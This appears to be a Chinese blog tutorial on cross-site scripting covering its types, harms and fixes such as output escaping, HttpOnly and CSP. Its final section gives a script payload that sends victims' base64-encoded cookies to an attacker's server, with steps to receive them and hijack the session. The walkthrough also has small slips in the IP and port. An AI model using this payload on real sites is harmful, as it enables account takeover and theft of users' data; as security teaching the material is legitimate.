1.定义
跨站脚本(Cross-site scripting,简称XSS),是指恶意攻击者往Web页面里插入恶意代码,当受害者的浏览器加载网站时代码就会执行。用更专业的术语来说,跨站点脚本是一种客户端代码注入攻击。
为什么称为xss,依照英文缩写习惯,简称跨站脚本为CSS。这样会引起它和另一个名词“层叠样式表”(Cascading Style Sheets,CSS)的混淆。此CSS非彼CSS。为了以示区别,一些安全人士就习惯将跨站脚本简称为XSS。
2.成因
由于服务器对输入和输出没有做严格的验证,导致攻击者构造的字符输出到前端时被浏览器执行当作有效代码解析执行从而产生危害。
就比如这段代码,对我们的输入和输出都没有进行验证,从而出现了XSS漏洞。
当我们输入:<script> alert('1') </script> 的时候就会出现弹窗
3.危害
1.钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript 以监控目标网站的表单输入,甚至发起基于 DHTML 更高级的钓鱼攻击方式。
2.网站挂马:跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
3.身份盗用:Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用该Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大的危害。
4.盗取网站用户信息:当能够窃取到用户 Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
4.分类
(1)反射类
反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的 具体表现在受害者点击了含有的恶意JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。
意思就是,当我们通过钓鱼的方式让受害者点击我们的链接,就会触发,但是受害者点击链接里面的其他网页的时候,该链接就会失效,如果要再次触发,就要再次点击我们的链接。
(2)存储型
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库 当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户。 存储型XSS漏洞大多出现在留言板、评论区,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。只要我们在数据库里面的代码没有被删除,这个漏洞就会一直存在。
(3)DOM型
不与后台服务器交互数据,也属于反射型的一种,一种通过dom操作前端输出的时候产生问题。DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。
5.跨站脚本攻击漏洞修复
(1)输入过滤。对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望格式 的的内容提交,阻止或者忽略除此外的其他任何数据。
(2)输出转义。在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。 htmlspecialchars():把预定义的字符转换为 HTML 实体。
(3)使用 Httponly 。 Httponly 是加在 cookies 上的一个标识,用于告诉浏览器不要向客户端脚本(document.cookie或其他)暴露 cookie 。当你在 cookie 上设置 Httpon1y 标识后,浏览器就会知会到这是特殊的 cookie只能由服务器检索到,所有来自客户端脚本的访问都会被禁止。
(4)配合 csp。csp(Content Security Policy)指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略。cSP 本质上是建立白名单,规定了浏览器只能够执行特定来源的代码,即使存在跨站脚本攻击漏洞,也不会加载来源不明的第三方脚本。
6.通过XSS漏洞获取Cookie
前提条件
-- 目标网站没有使用http-only
-- 受害者可以访问到接收端-- 获取到cookie后目标用户没有退出登录
方法一:
Payload:
<script>
window.open('http://192.168,81.238:2333/?g='+btoa(document.cookie))
</script>
document.cookie用来来创建、读取、及删除 cookie
打开一个新的标签页,将document.cookie获取到的cookie进行base64编码拼接到url里的q的参数值并访问该url。
1.攻击者启动Web服务用于接收cookie,使用python3启动一个简易的http服务(受害者浏览器需能够访问该服务器):
conda activate base
python3 -m http.server 1234
2.将Payload插入到存在漏洞的地方。
3.受害者访问攻击者插入xss代码的网页,浏览器就会加载插入的JavaScript代码,打开新的一个页面并将受害者浏览器的cookie附加到URL中并发出请求。
将PHPSESSID里面的值替换成受害者的,然后访问一个需要登录的页面,我们会发现我们没有经过登录就访问成功了。(当然,实现这些操作的前提一定是受害者还没有退出登录)。
4.攻击者启动的Web服务成功接收到受害者浏览器发出的请求并将url里的参数值记录下来。
方法二:蓝莲花配置XSS
BlueLotus_xssReceiver 清华大学蓝莲花战队做的一个平台,优点是足够小,不需要数据库,只要有个能运行php的环境就可以了,缺点是一般只适合一个人用。
至于蓝莲花的配置以及使用方法,如果有师傅感兴趣可以私信我,我到时候再专门写一篇文章来详细讲一下。
各位师傅看完如果感觉有用,不妨给我点个赞,关注一下。